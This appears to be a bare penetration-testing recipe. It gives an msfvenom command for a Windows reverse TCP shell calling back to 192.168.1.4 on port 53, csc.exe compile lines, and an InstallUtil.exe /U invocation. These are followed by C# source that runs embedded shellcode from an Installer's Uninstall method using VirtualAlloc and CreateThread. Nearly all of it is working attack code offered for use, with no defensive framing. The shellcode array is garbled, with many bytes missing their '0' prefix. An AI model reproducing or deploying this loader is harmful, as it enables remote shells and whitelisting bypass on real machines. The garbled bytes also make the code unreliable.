C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐ f csharp

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.Ente rpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Mic opoor.exe /platform:x64 /unsafe C:\Users\John\Desktop\Micropoor_Csc.cs

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\John\Desktop\Micropoor.exe

using System;
​
using System.Net;
​
using System.Diagnostics;
​
using System.Reflection;
​
using System.Configuration.Install;
​
using System.Runtime.InteropServices; 
​
​
// msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐f csharp 
​
public class Program
​
{
​
public static void Main()
​
{ 
​
}
​
​
} 
​
[System.ComponentModel.RunInstaller(true)]
​
public class Sample : System.Configuration.Install.Installer
​
{ 
​
public override void Uninstall(System.Collections.IDictionary savedState)
​
{ 
​
Shellcode.Exec(); 
​
} 
​
} 
​
public class Shellcode
​
{
​
public static void Exec()
​
{ 
​
byte[] shellcode = new byte[510] {
​
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
​
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,x48,
​
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,xc9,
​
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,x41,
​
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,x48,
​
0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,x8b,
​
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,x8b,
​
0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,x41,
​
0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,xc1,
​
0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,x45,
​
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,x8b,
​
0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,x01,
​
0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,x48,
​
0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,xe9,
​
0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,x00,
​
0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,xe5,
​
0x49,0xbc,0x02,0x00,0x00,0x35,0xc0,0xa8,0x01,0x04,0x41,0x54,0x49,0x89,xe4,
​
0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,x68,
​
0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,x0a,
​
0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,x89,
​
0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,xd5,
​
0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,xba,
​
0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,xe5,
​
0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,xc9,
​
0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,xd5,
​
0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,x41,
​
0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,x41,
​
0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,x31,
​
0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,xc8,
​
0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,x40,
​
0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,xd5,
​
0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,x3c,
​
0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,x41,
​
0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,xd5 };
​
​
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length,
​
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
​
Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
​
IntPtr hThread = IntPtr.Zero;
​
UInt32 threadId = 0; 
​
IntPtr pinfo = IntPtr.Zero; 
​
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
​
WaitForSingleObject(hThread, 0xFFFFFFFF); 
​
} 
​
private static UInt32 MEM_COMMIT = 0x1000; 
​
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 
​
[DllImport("kernel32")]
​
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size, UInt32 flAllocationType, UInt32 flProtect); 
​
[DllImport("kernel32")]
​
private static extern bool VirtualFree(IntPtr lpAddress,
​
UInt32 dwSize, UInt32 dwFreeType); 
​
[DllImport("kernel32")]
​
private static extern IntPtr CreateThread( 
​
UInt32 lpThreadAttributes,
​
UInt32 dwStackSize,
​
UInt32 lpStartAddress,
​
IntPtr param,
​
UInt32 dwCreationFlags,
​
ref UInt32 lpThreadId
​
);
​
[DllImport("kernel32")]
​
private static extern bool CloseHandle(IntPtr handle); 
​
[DllImport("kernel32")]
​
private static extern UInt32 WaitForSingleObject( 
​
IntPtr hHandle,
​
UInt32 dwMilliseconds
​
);
​
[DllImport("kernel32")]
​
private static extern IntPtr GetModuleHandle( 
​
string moduleName 
​
);
​
[DllImport("kernel32")]
​
private static extern UInt32 GetProcAddress( 
​
IntPtr hModule,
​
string procName 
​
);
​
[DllImport("kernel32")]
​
private static extern UInt32 LoadLibrary( 
​
string lpFileName 
​
);
​
[DllImport("kernel32")]
​
private static extern UInt32 GetLastError(); 
​
}